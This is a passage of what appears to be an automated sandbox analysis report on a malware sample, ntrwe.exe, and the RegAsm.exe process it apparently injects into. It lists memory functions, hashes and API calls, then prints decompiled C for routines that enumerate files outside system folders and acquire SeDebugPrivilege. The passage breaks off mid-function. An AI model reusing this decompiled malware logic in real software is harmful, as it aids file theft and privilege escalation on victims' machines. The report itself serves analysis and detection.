Opcode ID: 9be00f844653a65d572b497108b3be919d7529b390d0674526dc9cbd915a1a13
Instruction ID: 9f90331cd73d344d99c6d52f909f2be490a73cfd36ab91f88b962aefc223657e
Opcode Fuzzy Hash: 9be00f844653a65d572b497108b3be919d7529b390d0674526dc9cbd915a1a13
Instruction Fuzzy Hash: E941DEB4D052189FCB10DFA9D884AEEFBF0BF49314F14842AE415B7200D779AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00503AC1, Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00503B6F

Memory Dump Source

Source File: 0000000F.00000002.2190278747.0000000000500000.00000040.00000001.sdmp, Offset: 00500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_500000_ntrwe.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: aa7c4cfc51f45dfdec7fed11701849073b581ab9dfe0ead5d5739ce8bb6008f0
Instruction ID: 11450985e1eaefc24c8ca2d23e2f4605353a3d2bf4cafb066ed1c5d3e496e8b7
Opcode Fuzzy Hash: aa7c4cfc51f45dfdec7fed11701849073b581ab9dfe0ead5d5739ce8bb6008f0
Instruction Fuzzy Hash: D731A8B8D042589FCB10CFA9D884AEEFBB0BF49310F24902AE814B7210C774AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 005077B8, Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00507867

Memory Dump Source

Source File: 0000000F.00000002.2190278747.0000000000500000.00000040.00000001.sdmp, Offset: 00500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_500000_ntrwe.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4e31db07554d08eacf84c621bc97d22390df516e6a062a4f8a59c1d5457df844
Instruction ID: 3aa3c9aaff043e6b757c2024b2f65ac50137f8b9dadbeb1b7fd32b2581ceab66
Opcode Fuzzy Hash: 4e31db07554d08eacf84c621bc97d22390df516e6a062a4f8a59c1d5457df844
Instruction Fuzzy Hash: 2F319AB5D042589FCF10CFA9D884ADEFBB0BF5A310F24902AE814B7250D375A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00503AC8, Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00503B6F

Memory Dump Source

Source File: 0000000F.00000002.2190278747.0000000000500000.00000040.00000001.sdmp, Offset: 00500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_500000_ntrwe.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 22a418a20746f3279ae6e43760ca4a09894e5a68cd331ac8c715c6cf68c6b23a
Instruction ID: a8f0265c28cd1b689a3d8ce81fe03f712678e55c4ef76d1c59f20941d9ec0748
Opcode Fuzzy Hash: 22a418a20746f3279ae6e43760ca4a09894e5a68cd331ac8c715c6cf68c6b23a
Instruction Fuzzy Hash: F93199B8D042589FCB10CFA9D884ADEFBB4BB19310F24902AE814B7210D775AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 005077C0, Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00507867

Memory Dump Source

Source File: 0000000F.00000002.2190278747.0000000000500000.00000040.00000001.sdmp, Offset: 00500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_500000_ntrwe.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 740f328b49dbbace9fe08795545d822c0587b9d13011bfca8f1c2f612e7aeb35
Instruction ID: 22e478683f0800ded08e5dec264c640234118657d6ce1c10d5c1c9568c21db3d
Opcode Fuzzy Hash: 740f328b49dbbace9fe08795545d822c0587b9d13011bfca8f1c2f612e7aeb35
Instruction Fuzzy Hash: 8E3179B9D042589FCB10CFA9D884ADEFBB0BF49310F24942AE814B7250D775A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 009D8DE0, Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 009D8E8F

Memory Dump Source

Source File: 0000000F.00000002.2190617763.00000000009D0000.00000040.00000001.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_9d0000_ntrwe.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: b697ee63c7f248414e2de721fd95ca94201b2d1a27a849f16fce86fcd672dbdc
Instruction ID: 77e61c3f5f3f662dd083a4e78e15c03ef377abfd5f57402dc43e00761d1f074b
Opcode Fuzzy Hash: b697ee63c7f248414e2de721fd95ca94201b2d1a27a849f16fce86fcd672dbdc
Instruction Fuzzy Hash: 2A31BCB4D052589FCB10DFA9D884AEEFBF0BF49314F14842AE415B7240D779AA45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00507E7A, Relevance: 1.6, APIs: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?), ref: 00507F19

Memory Dump Source

Source File: 0000000F.00000002.2190278747.0000000000500000.00000040.00000001.sdmp, Offset: 00500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_500000_ntrwe.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 981192040724eb89d3fa41d764cc8de603543dccf4c2b9f155168b405f5666f8
Instruction ID: f04195449113af607e33e0d3f7bb964685cefaccd39784e65f29d4ecce91a633
Opcode Fuzzy Hash: 981192040724eb89d3fa41d764cc8de603543dccf4c2b9f155168b405f5666f8
Instruction Fuzzy Hash: 5931B9B4D092599FCB10CFA9D884AEEFBF0BF49314F24846AE415B7250D378AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00502F5C, Relevance: 1.6, APIs: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?), ref: 00507F19

Memory Dump Source

Source File: 0000000F.00000002.2190278747.0000000000500000.00000040.00000001.sdmp, Offset: 00500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_500000_ntrwe.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: b64a87801dfcc6a6a18ac12e4af573ba977f1fa6436e339f5dc0cdba302056a2
Instruction ID: 3a35766366c090caaa257d3351d169675bc1de6c9900dd7efc5b834a9be713d1
Opcode Fuzzy Hash: b64a87801dfcc6a6a18ac12e4af573ba977f1fa6436e339f5dc0cdba302056a2
Instruction Fuzzy Hash: BB31CAB4D0521D9FCB10CFA9D884AAEFBF4BB49314F24846AE404B7250D374AA45CB94

Uniqueness

Uniqueness Score: -1.00%

Function 009D9031, Relevance: 1.6, APIs: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 009D90B6

Memory Dump Source

Source File: 0000000F.00000002.2190617763.00000000009D0000.00000040.00000001.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_9d0000_ntrwe.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 4d65fb6652e79899fa118ffb9e057e3bfe0c8f172000aa7223c2b497e2913813
Instruction ID: c2cf5eba42f96f8f5d63b7a65928e4f334b761eb20061d3423a17ecd515f9614
Opcode Fuzzy Hash: 4d65fb6652e79899fa118ffb9e057e3bfe0c8f172000aa7223c2b497e2913813
Instruction Fuzzy Hash: 5331CDB4D052589FCB10CFA9E884ADEFBB0AF49314F14942AE815B7350C775A905CF55

Uniqueness

Uniqueness Score: -1.00%

Function 009D9038, Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 009D90B6

Memory Dump Source

Source File: 0000000F.00000002.2190617763.00000000009D0000.00000040.00000001.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_9d0000_ntrwe.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: b78654d4964c837db203ed80329933d8988c26285472aed6571cfd7b3c76df87
Instruction ID: df84af2f3beeeeb9e5e89676fe4c1aef11dc7000f3772231e6974926f5d978c9
Opcode Fuzzy Hash: b78654d4964c837db203ed80329933d8988c26285472aed6571cfd7b3c76df87
Instruction Fuzzy Hash: 1131C8B4D052189FCB10CFA9E884ADEFBB4BF49314F14942AE815B7300CB79A905CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 002ED4C4, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2188703471.00000000002ED000.00000040.00000001.sdmp, Offset: 002ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2ed000_ntrwe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34e4ca73961f9ec52543809fba87ed2b08ae967d2c02e8750281194d09f3765
Instruction ID: 63af54c0c16f786440fd483dd467809e84bf4d713028b7ac5efc29de41a56af8
Opcode Fuzzy Hash: a34e4ca73961f9ec52543809fba87ed2b08ae967d2c02e8750281194d09f3765
Instruction Fuzzy Hash: 40216771594284DFCB11DF11D8C0B2ABF61FBD8318FA4C569E8050B246C376D826CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 002ED3D8, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2188703471.00000000002ED000.00000040.00000001.sdmp, Offset: 002ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2ed000_ntrwe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ebe2f0c497ad53ec6951bd8cf6f14a1f57e1ce7d1a34490d043ef8fb6ca204b
Instruction ID: 1f2aad7d7927975cc0f5b9e64cf172cacfb81b797665835c11ba762a6c1d7739
Opcode Fuzzy Hash: 9ebe2f0c497ad53ec6951bd8cf6f14a1f57e1ce7d1a34490d043ef8fb6ca204b
Instruction Fuzzy Hash: 7A217C75154284DFCF11DF11D9C0B16BF65FBA8314F64C168E9094B28AC376E826CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 002ED4BF, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2188703471.00000000002ED000.00000040.00000001.sdmp, Offset: 002ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2ed000_ntrwe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3630e81130c5ad3ccc8a6c51d744565a6a9584d7478e96c596689db372f3e6c5
Instruction ID: 63fca7ee3b93e9a2b98ab7153e122a458aa8f09166180add0e9036f4f008bc25
Opcode Fuzzy Hash: 3630e81130c5ad3ccc8a6c51d744565a6a9584d7478e96c596689db372f3e6c5
Instruction Fuzzy Hash: A711E676444280CFCF12CF10D9C4B16BF71FB94314F24C6A9D8450B616C336D86ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 002ED3D3, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2188703471.00000000002ED000.00000040.00000001.sdmp, Offset: 002ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2ed000_ntrwe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3630e81130c5ad3ccc8a6c51d744565a6a9584d7478e96c596689db372f3e6c5
Instruction ID: 14b82c86e0a261bacfab772cf7acaf1247fb0dd1d871446c9bf6b0a6163b3bc3
Opcode Fuzzy Hash: 3630e81130c5ad3ccc8a6c51d744565a6a9584d7478e96c596689db372f3e6c5
Instruction Fuzzy Hash: 0311E676444281DFCF12CF10D5C4B16BF71FBA4324F24C6A9D8090B656C33AE866CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 002ED775, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2188703471.00000000002ED000.00000040.00000001.sdmp, Offset: 002ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2ed000_ntrwe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f37a8812f14dfdfc0f0fa185572e1365ccb143e9d6a7610b4404704f376a0f82
Instruction ID: 2d568d7d083ccdf4a38187dbf25ea2b0cef9381cd2051a8951531c2405910c73
Opcode Fuzzy Hash: f37a8812f14dfdfc0f0fa185572e1365ccb143e9d6a7610b4404704f376a0f82
Instruction Fuzzy Hash: B101A73145C3849AE7109F27CC88B67FFD8EF46724F58C45AEE055A286C7B99C40C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 002ED774, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2188703471.00000000002ED000.00000040.00000001.sdmp, Offset: 002ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2ed000_ntrwe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b8493d236bb89a91fa64ece0e7e199b66822e7bf06802ee5e4be01cad97261a
Instruction ID: c911416c86bc21e2417b0baa52bf9065a1b11bef49de1be7fe87c7cf486cd0da
Opcode Fuzzy Hash: 0b8493d236bb89a91fa64ece0e7e199b66822e7bf06802ee5e4be01cad97261a
Instruction Fuzzy Hash: D2F06275448284AAE7108F16CC88B63FFD8EF52734F58C55AED095B286C3789C44CBB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: ntrwe.exe PID: 2996 Parent PID: 1388 ntrwe.exeCOMMON

Execution Graph

Execution Coverage:	28.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 00493AC1, Relevance: 1.6, APIs: 1, Instructions: 98
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00493B6F

Memory Dump Source

Source File: 00000010.00000002.2180712272.0000000000490000.00000040.00000001.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_490000_ntrwe.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7cfc1dec15c0a320f7a0a81a9ae4377c98e868250a80e154f86efb6e0876ea53
Instruction ID: 443943854f6d6a98ebc2b00daa6d014067d97b282c2f81bafc76875b87e3ca15
Opcode Fuzzy Hash: 7cfc1dec15c0a320f7a0a81a9ae4377c98e868250a80e154f86efb6e0876ea53
Instruction Fuzzy Hash: AF318BB9D042589FCF10CFA9D484ADEFBB0FB5A310F14916AE814B7210D779AA45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 004977B8, Relevance: 1.6, APIs: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00497867

Memory Dump Source

Source File: 00000010.00000002.2180712272.0000000000490000.00000040.00000001.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_490000_ntrwe.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a8268349850fff31f9ec37e64b250eb77d3242606b2f3876cff23b8586076952
Instruction ID: 2acc39a6425e7ef4ff805ea7d698ef9638e4c0dd8b04d110b8ed2c89d85a037a
Opcode Fuzzy Hash: a8268349850fff31f9ec37e64b250eb77d3242606b2f3876cff23b8586076952
Instruction Fuzzy Hash: F6318BB8D042589FCF10CFA9D484ADEFBB0FB4A310F14942AE814B7210D379A945CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00493AC8, Relevance: 1.6, APIs: 1, Instructions: 94
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00493B6F

Memory Dump Source

Source File: 00000010.00000002.2180712272.0000000000490000.00000040.00000001.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_490000_ntrwe.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5b59cbeec029ccfda7bed4b27bab7053d8ad72898d590d104d00fe62d030d7a5
Instruction ID: d638db8baff1002c1be4f70516dfb5bdee4ff048705086dbf0d396a49cff133f
Opcode Fuzzy Hash: 5b59cbeec029ccfda7bed4b27bab7053d8ad72898d590d104d00fe62d030d7a5
Instruction Fuzzy Hash: 5D3178B9D042589FCF10CFA9D484ADEFBB0BB5A310F24902AE815B7210D779AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004977C0, Relevance: 1.6, APIs: 1, Instructions: 94
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00497867

Memory Dump Source

Source File: 00000010.00000002.2180712272.0000000000490000.00000040.00000001.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_490000_ntrwe.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 853396abb13c093abd0e45b84978c43c9a91ad57b48246c64b16e4cbeea465f0
Instruction ID: f3ca778b650f3feea0f0f6c0e90890ace242cc0edba2d969e8c4bd8fcfec3d19
Opcode Fuzzy Hash: 853396abb13c093abd0e45b84978c43c9a91ad57b48246c64b16e4cbeea465f0
Instruction Fuzzy Hash: CD317AB9D042589FCF10CFA9D484ADEFBB0BB49310F14942AE814B7210D779A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0026D4C4, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2180386606.000000000026D000.00000040.00000001.sdmp, Offset: 0026D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_26d000_ntrwe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93a950590cb4dcc085620100c1e1004d40ddaefe4e8578e77e207a8c02ffcd1a
Instruction ID: e1c7ed25962f63197a79aae58b93d4916a30d5638a9064d78aa59f33a0d9f152
Opcode Fuzzy Hash: 93a950590cb4dcc085620100c1e1004d40ddaefe4e8578e77e207a8c02ffcd1a
Instruction Fuzzy Hash: 93213771A14248DFCB15DF10D8C0B26BF65FBC8318F34C569E9064B646C376D8A6CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0026D3D8, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2180386606.000000000026D000.00000040.00000001.sdmp, Offset: 0026D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_26d000_ntrwe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1aa3765027647a77c0d6e8796bea0eab48ef7cee7c7a6b1a4010243fde40c42f
Instruction ID: 39738165240aded72b84672b39996a15016c003e343ee4ed73492103c800d139
Opcode Fuzzy Hash: 1aa3765027647a77c0d6e8796bea0eab48ef7cee7c7a6b1a4010243fde40c42f
Instruction Fuzzy Hash: DD214875A14248DFCB10DF10D9C0B16BF65FB98314F24C168E9094B20AC776ECA6CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0026D3D3, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2180386606.000000000026D000.00000040.00000001.sdmp, Offset: 0026D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_26d000_ntrwe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3630e81130c5ad3ccc8a6c51d744565a6a9584d7478e96c596689db372f3e6c5
Instruction ID: 7a436ce6e5202513f0be71fbe4149d8f6527afc652e5e214e5d8637464dcedf8
Opcode Fuzzy Hash: 3630e81130c5ad3ccc8a6c51d744565a6a9584d7478e96c596689db372f3e6c5
Instruction Fuzzy Hash: D311D376904284DFCB12CF10D5C4B16BF71FB94324F28C6A9D8094B656C33AE866CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0026D4BF, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2180386606.000000000026D000.00000040.00000001.sdmp, Offset: 0026D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_26d000_ntrwe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3630e81130c5ad3ccc8a6c51d744565a6a9584d7478e96c596689db372f3e6c5
Instruction ID: c1f02e06854c39a0b57a8822fcc085a1667be30b405db7da440fc0b2b70c635c
Opcode Fuzzy Hash: 3630e81130c5ad3ccc8a6c51d744565a6a9584d7478e96c596689db372f3e6c5
Instruction Fuzzy Hash: A911E676904284CFCF12CF10D5C4B16BF71FB94314F28C6A9D8450B616C336D86ACBA2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: RegAsm.exe PID: 2192 Parent PID: 1916 RegAsm.exeCOMMON

Execution Graph

Execution Coverage:	30.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.5%
Total number of Nodes:	1842
Total number of Limit Nodes:	98

Executed Functions

Function 00403D74, Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 200
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00403D74(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				struct _WIN32_FIND_DATAW _v596;
				void* __ebx;
				void* _t35;
				int _t43;
				void* _t52;
				int _t56;
				intOrPtr _t60;
				void* _t66;
				void* _t73;
				void* _t74;
				WCHAR* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				WCHAR* _t102;
				void* _t103;
				void* _t104;

				L004067C4(0xa); // executed
				_t72 = 0;
				_t100 = 0x2e;
				_t106 = _a16;
				if(_a16 == 0) {
					L15:
					_push(_a8);
					_t98 = E00405B6F(0, L"%s\\%s", _a4);
					_t104 = _t103 + 0xc;
					if(_t98 == 0) {
						L30:
						__eflags = 0;
						return 0;
					}
					E004031E5(_t72, _t72, 0xd4f4acea, _t72, _t72);
					_t35 = FindFirstFileW(_t98,  &_v596); // executed
					_t73 = _t35;
					if(_t73 == 0xffffffff) {
						L29:
						E00402BAB(_t98);
						goto L30;
					}
					L17:
					while(1) {
						if(E00405D24( &(_v596.cFileName)) >= 3 || _v596.cFileName != _t100) {
							if(_v596.dwFileAttributes != 0x10) {
								L21:
								_push( &(_v596.cFileName));
								_t101 = E00405B6F(_t124, L"%s\\%s", _a4);
								_t104 = _t104 + 0xc;
								if(_t101 == 0) {
									goto L24;
								}
								if(_a12 == 0) {
									E00402BAB(_t98);
									E00403BEF(_t73);
									return _t101;
								}
								_a12(_t101);
								E00402BAB(_t101);
								goto L24;
							}
							_t124 = _a20;
							if(_a20 == 0) {
								goto L24;
							}
							goto L21;
						} else {
							L24:
							E004031E5(_t73, 0, 0xce4477cc, 0, 0);
							_t43 = FindNextFileW(_t73,  &_v596); // executed
							if(_t43 == 0) {
								E00403BEF(_t73); // executed
								goto L29;
							}
							_t100 = 0x2e;
							continue;
						}
					}
				}
				_t102 = E00405B6F(_t106, L"%s\\*", _a4);
				if(_t102 == 0) {
					L14:
					_t100 = 0x2e;
					goto L15;
				}
				E004031E5(0, 0, 0xd4f4acea, 0, 0);
				_t52 = FindFirstFileW(_t102,  &_v596); // executed
				_t74 = _t52;
				if(_t74 == 0xffffffff) {
					L13:
					E00402BAB(_t102);
					_t72 = 0;
					goto L14;
				} else {
					goto L3;
				}
				do {
					L3:
					if((_v596.dwFileAttributes & 0x00000010) == 0) {
						goto L11;
					}
					if(_a24 == 0) {
						L7:
						if(E00405D24( &(_v596.cFileName)) >= 3) {
							L9:
							_push( &(_v596.cFileName));
							_t60 = E00405B6F(_t114, L"%s\\%s", _a4);
							_t103 = _t103 + 0xc;
							_a16 = _t60;
							_t115 = _t60;
							if(_t60 == 0) {
								goto L11;
							}
							_t99 = E00403D74(_t115, _t60, _a8, _a12, 1, 0, 1);
							E00402BAB(_a16);
							_t103 = _t103 + 0x1c;
							if(_t99 != 0) {
								E00402BAB(_t102);
								E00403BEF(_t74);
								return _t99;
							}
							goto L11;
						}
						_t66 = 0x2e;
						_t114 = _v596.cFileName - _t66;
						if(_v596.cFileName == _t66) {
							goto L11;
						}
						goto L9;
					}
					_push(L"Windows");
					if(E00405EFF( &(_v596.cFileName)) != 0) {
						goto L11;
					}
					_push(L"Program Files");
					if(E00405EFF( &(_v596.cFileName)) != 0) {
						goto L11;
					}
					goto L7;
					L11:
					E004031E5(_t74, 0, 0xce4477cc, 0, 0);
					_t56 = FindNextFileW(_t74,  &_v596); // executed
				} while (_t56 != 0);
				E00403BEF(_t74); // executed
				goto L13;
			}

0x00403d82
0x00403d88
0x00403d8c
0x00403d8d
0x00403d90
0x00403ea9
0x00403ea9
0x00403eb9
0x00403ebb
0x00403ec0
0x00403f95
0x00403f95
0x00000000
0x00403f95
0x00403ece
0x00403edb
0x00403edd
0x00403ee2
0x00403f8e
0x00403f8f
0x00000000
0x00403f94
0x00000000
0x00403ee8
0x00403ef8
0x00403f0a
0x00403f12
0x00403f18
0x00403f26
0x00403f28
0x00403f2d
0x00000000
0x00000000
0x00403f33
0x00403f76
0x00403f7c
0x00000000
0x00403f83
0x00403f36
0x00403f3a
0x00000000
0x00403f40
0x00403f0c
0x00403f10
0x00000000
0x00000000
0x00000000
0x00403f41
0x00403f41
0x00403f4b
0x00403f58
0x00403f5c
0x00403f88
0x00000000
0x00403f8d
0x00403f60
0x00000000
0x00403f60
0x00403ef8
0x00403ee8
0x00403da3
0x00403da9
0x00403ea6
0x00403ea8
0x00000000
0x00403ea8
0x00403db7
0x00403dc4
0x00403dc6
0x00403dcb
0x00403e9d
0x00403e9e
0x00403ea4
0x00000000
0x00000000
0x00000000
0x00000000
0x00403dd1
0x00403dd1
0x00403dd8
0x00000000
0x00000000
0x00403de2
0x00403e12
0x00403e22
0x00403e30
0x00403e36
0x00403e3f
0x00403e44
0x00403e47
0x00403e4a
0x00403e4c
0x00000000
0x00000000
0x00403e63
0x00403e65
0x00403e6a
0x00403e6f
0x00403f64
0x00403f6a
0x00000000
0x00403f71
0x00000000
0x00403e6f
0x00403e26
0x00403e27
0x00403e2e
0x00000000
0x00000000
0x00000000
0x00403e2e
0x00403dea
0x00403df9
0x00000000
0x00000000
0x00403e01
0x00403e10
0x00000000
0x00000000
0x00000000
0x00403e75
0x00403e7f
0x00403e8c
0x00403e8e
0x00403e97
0x00000000

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403DC4
FindNextFileW.KERNEL32(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403E8C
FindFirstFileW.KERNEL32(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403EDB
FindNextFileW.KERNEL32(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403F58

Strings

Program Files, xrefs: 00403E01
%s\%s, xrefs: 00403E3A, 00403EAF, 00403F1C
%s\*, xrefs: 00403D99
Windows, xrefs: 00403DEA

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileFind$FirstNext
String ID: %s\%s$%s\*$Program Files$Windows
API String ID: 1690352074-2009209621
Opcode ID: 3fde6c4a7a317932b4cb7643a4a2b0d3a30bf33187a4660f93c72fe85a5a4082
Instruction ID: acb13e71dd503001dda9649917d64d786dba47cd8022a2b45c5045a1a8a297e9
Opcode Fuzzy Hash: 3fde6c4a7a317932b4cb7643a4a2b0d3a30bf33187a4660f93c72fe85a5a4082
Instruction Fuzzy Hash: A651F3329006197AEB14AEB4DD8AFAB3B6CDB45719F10013BF404B51C1EA7CEF80865C

Uniqueness

Uniqueness Score: -1.00%

Function 0040650A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040650A(void* __eax, void* __ebx, void* __eflags) {
				void* _v8;
				struct _LUID _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				struct _TOKEN_PRIVILEGES _v32;
				intOrPtr* _t13;
				void* _t14;
				int _t16;
				int _t31;
				void* _t32;

				_t31 = 0;
				E004060AC();
				_t32 = __eax;
				_t13 = E004031E5(__ebx, 9, 0xea792a5f, 0, 0);
				_t14 =  *_t13(_t32, 0x28,  &_v8);
				if(_t14 != 0) {
					E004031E5(__ebx, 9, 0xc6c3ecbb, 0, 0);
					_t16 = LookupPrivilegeValueW(0, L"SeDebugPrivilege",  &_v16); // executed
					if(_t16 != 0) {
						_push(__ebx);
						_v32.Privileges = _v16.LowPart;
						_v32.PrivilegeCount = 1;
						_v24 = _v16.HighPart;
						_v20 = 2;
						E004031E5(1, 9, 0xc1642df2, 0, 0);
						AdjustTokenPrivileges(_v8, 0,  &_v32, 0x10, 0, 0); // executed
